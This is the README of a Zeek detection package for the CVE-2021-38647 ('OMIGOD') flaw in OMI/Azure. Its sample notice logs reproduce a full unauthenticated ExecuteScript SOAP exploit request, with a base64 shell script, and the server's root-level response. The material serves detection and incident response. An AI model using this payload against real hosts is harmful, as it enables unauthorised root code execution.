CVE-2021-38647 AKA "OMIGOD"

A Zeek package which detects CVE-2021-38647 AKA OMIGOD exploit attempts.

https://corelight.com/blog/detecting-cve-2021-38647-omigod
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

Exploit

The exploit involves simply omitting the Authorization header, tl;dr picture below.

Installation

Install as a Zeek package in a live environment
zkg install corelight/CVE-2021-38647 OR use the direct URL.
zkg install https://github.com/corelight/CVE-2021-38647/

Use against a pcap you already have
zeek -Cr scripts/__load__.zeek your.pcap

Options and notes:

• This package will run in clustered or non clustered environments.

• Configurable options in the omigod.zeek script can be changed to suit your implementation needs as described below.

• The TCP ports are set as the defaults served by OMI. Add any non default ports into the following set.
  option OMI_ports = set(1270/tcp, 5985/tcp, 5986/tcp);

• To assist with IR triage of EXPLOIT_REQUEST and EXPLOIT_RESPONSE notices, the 'sub' field will include the first 'bytes_of_data_in_notice' in the notice. Set this to a high number to collect all of the payload - the default of 10000 should be high enough to capture all relevant data.
  option bytes_of_data_in_notice = 10000;

• To assist with IR triage and hunting, a separate notice 'EXPLOIT_ATTEMPT' will include the client header names and values in the notice 'sub' field.
  option raise_seperate_notice_for_missing_auth_header = T;

• Use User-Agent whitelisting very sparingly to silence False Positives from your own scanner or legitimate systems. Remember, an attacker can simply spoof this user-agent. Example:
  option user_agent_whitelist = /^Microsoft WinRM Client$/;

Example

These notices are examples of maximum verbosity settings. While it may seem overly verbose, data which is useful for IR triage and hunting is supplied within the notice 'sub' field.

• The EXPLOIT_ATTEMPT notice provides the header names and values for requests that pass relatively coarse grain attack qualifiers. This is a conservative notice and can be turned off as described above, however it can be useful to have this data in easy reach (i.e within the notice itself and not in a pcap) for incident response, threat hunting, and rule tuning. For example, a useful aspect of this notice is the User-Agent - which exploit POCs sometimes do not mask properly. In the case below the UA is curl/7.52.1 which (depending on use case) may be a highly unusual way to access OMI services legitimately. This EXPLOIT_ATTEMPT notice may or may not be followed by an EXPLOIT_REQUEST or EXPLOIT_RESPONSE notice depending on further finer grained indicators.

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open   2021-09-20-14-23-48
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
1631859865.669975       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_ATTEMPT A request to an OMI/WMI uri is missing the Authorization header, this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit attempt. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution, see sub field for raw data       headers= '{\x0a\x09[1] = [original_name=Host, name=HOST, value=127.0.0.1:5985],\x0a\x09[2] = [original_name=User-Agent, name=USER-AGENT, value=curl/7.52.1],\x0a\x09[3] = [original_name=Accept, name=ACCEPT, value=*/*],\x0a\x09[5] = [original_name=Content-Length, name=CONTENT-LENGTH, value=2035],\x0a\x09[6] = [original_name=Expect, name=EXPECT, value=100-continue],\x0a\x09[4] = [original_name=Content-Type, name=CONTENT-TYPE, value=application/soap+xml]\x0a}'    127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000     -       -       -       -       -

• EXPLOIT_REQUEST notice shows the payload of the POST request. This can be split over more than 1 notices if the POST is large (as in the case below )

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open   2021-09-20-14-23-48
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
1631859866.672356       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution    The first 10000 bytes of data = '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">\x09  <s:Header>\x09\x09      <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\x09\x09          <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\x09\x09\x09      <a:ReplyTo>\x09\x09\x09\x09            <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\x09\x09\x09\x09\x09        </a:ReplyTo>\x09\x09\x09\x09\x09\x09    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\x09\x09\x09\x09\x09\x09        <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>\x09\x09\x09\x09\x09\x09\x09    <a:MessageID>uuid:00B60932-CC01-0005-0000-313370010000</a:MessageID>\x09\x09\x09\x09\x09\x09\x09        <w:OperationTimeout>PT1M30S</w:OperationTimeout>\x09\x09\x09\x09\x09\x09\x09\x09    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09        <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09    <w:OptionSet s:mustUnderstand="true"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09        <w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      <w:Selector Name="__cimnamespace">root/scx</w:Selector>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          </w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09    </s:Header>\x09\x09\x09'    127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG
      3600.000000     -       -       -       -       -```

The second notice shows the payload, which is a base64 encoded string ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg== , which then decodes to this shell script.

echo "OMIGOD it works!"
id
uname
date
echo "Goodbye"

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open   2021-09-20-14-23-48
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
1631859866.672356       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution    The first 10000 bytes of data = '\x09\x09\x09\x09\x09\x09\x09\x09\x09      <s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09        <p:Script>ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==</p:Script>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      <p:Arguments/>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09            <p:timeout>0</p:timeout>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          <p:b64encoded>true</p:b64encoded>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      </p:ExecuteScript_INPUT>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09        </s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09</s:Envelope>'   127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000
     -       -       -       -       -

• The EXPLOIT_RESPONSE notice contains the data sent by the server. In the example below, the compromised data is the output of the payload script, being:
  OMIGOD it works!
uid=0(root) gid=0(root) groups=0(root)
Linux
Fri Sep 17 06:24:26 UTC 2021
Goodbye


#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open   2021-09-20-14-23-48
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
1631859866.680111       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_RESPONSE        A Server RESPONSE has been sent following a request to an OMI/WMI uri with a missing Authorization header - this is possibly a successful CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution      The first 10000 bytes of data = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:04F232DD-CC2A-0005-0000-000000210000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-313370010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>OMIGOD it works!&#10;uid=0(root) gid=0(root) groups=0(root)&#10;Linux&#10;Fri Sep 17 06:24:26 UTC 2021&#10;Goodbye&#10;</p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>' 127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000     -       -       -       -       -